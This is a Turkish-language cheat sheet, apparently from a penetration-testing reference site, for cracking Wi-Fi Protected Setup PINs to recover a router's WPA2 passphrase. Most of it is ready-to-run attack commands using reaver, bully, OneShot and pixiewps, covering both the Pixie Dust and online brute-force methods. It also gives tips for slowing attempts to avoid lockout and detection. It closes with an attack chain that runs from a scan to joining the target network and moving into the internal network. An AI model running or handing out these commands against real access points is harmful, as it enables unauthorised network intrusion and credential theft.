WPS Saldırıları
WPS difficulty: kolay-orta
Wi-Fi Protected Setup (WPS), 8 haneli bir PIN ile kolay bağlantı sunar ama tasarım zayıflıkları içerir. PIN iki yarıya (4+3 anlamlı hane + checksum) bölünüp doğrulandığından arama uzayı dramatik biçimde küçülür; ayrıca Pixie Dust saldırısı zayıf nonce/entropi kullanan AP’lerde PIN’i offline kırar. PIN bulununca AP genelde WPA2 PSK’yi açık metin verir.
PIN matematiği (neden hızlı?)
Section titled “PIN matematiği (neden hızlı?)”8 hane → teorik 10^8Pratik: 1. yarı 4 hane (10^4) ayrı doğrulanır 2. yarı 3 hane + checksum → ~10^3Toplam deneme ~11.000 — online brute saatler/günler (rate limit ile)Pixie Dust: nonce zayıfsa saniyeler–dakikalar, online PIN denemesi azAP’leri tara
Section titled “AP’leri tara”sudo wash -i wlan0monsudo wash -i wlan0mon -5 # 5 GHzsudo wash -i wlan0mon -s # progressive scanWPS: yes, Locked: No → saldırı adayıLocked: Yes → bekle / başka AP; lock süresi dolunca tekrarManufacturer Broadcom/Ralink/Realtek eski firmware → Pixie şansı yüksekairodump WPS sütunu göstermeyebilir; wash / wia-ng tercih edin.
Komut üreteci
Section titled “Komut üreteci”reaver · WPS Pixie
embedded toolGenerated command
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -K 1 -vvreaver · WPS Pixie
Section titled “reaver · WPS Pixie”Saldırılar
Section titled “Saldırılar”-
Pixie Dust (offline, ilk dene) — zayıf AP’lerde en hızlı yol:
Terminal window sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -K 1 -vvTerminal window sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -d -v 3Terminal window sudo python3 oneshot.py -i wlan0mon -b AA:BB:CC:DD:EE:FF -K -
PIN brute (online) — Pixie başarısızsa:
Terminal window sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vv -L -N -d 2Terminal window sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -v 3 -
Bilinen/default PIN — bazı vendor PIN algoritmaları (BSSID’den türetilir):
Terminal window sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p 12345670 -vv -
Sonuç — geçerli PIN + WPA PSK log’da görünür; ağa bağlan:
Terminal window sudo nmcli dev wifi connect "TargetSSID" password 'PSK_HERE'
reaver ipuçları
Section titled “reaver ipuçları”sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vv -ssudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vv -d 5 -t 10 -T 5sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vv -AAynı kanalda airodump açık tutmak sinyal/ilişki için yardımcı olabilir.
Null PIN / özel durumlar
Section titled “Null PIN / özel durumlar”sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '' -vvRate limit ve lock
Section titled “Rate limit ve lock”WPS lock after N fails → -d ile yavaşlat; -L riskli (tespit)EAPOL timeout → mesafe/kanal; -t /-T artırAP reboot unlock → uzun soluklu test; gece bırakwatch -n 60 'wash -i wlan0mon | grep -i aabbccddeeff'Pixie Dust başarısız → ne yapmalı?
Section titled “Pixie Dust başarısız → ne yapmalı?”1) Farklı tool: bully / OneShot / pixiewps manuel2) Online PIN brute (sabır + delay)3) Vendor default PIN veritabanı4) WPS kapatılmış say → handshake / PMKID'e dönpixiewps -e <pke> -r <pkr> -s <e-hash1> -z <e-hash2> -a <authkey> -n <enonce>Saldırı zinciri
Section titled “Saldırı zinciri”wash → Unlocked WPS → reaver -K 1 (Pixie) → PSK → nmcli connect → iç ağPixie fail → reaver online -d 5 → PIN + PSK → veya timeout → PMKID/handshake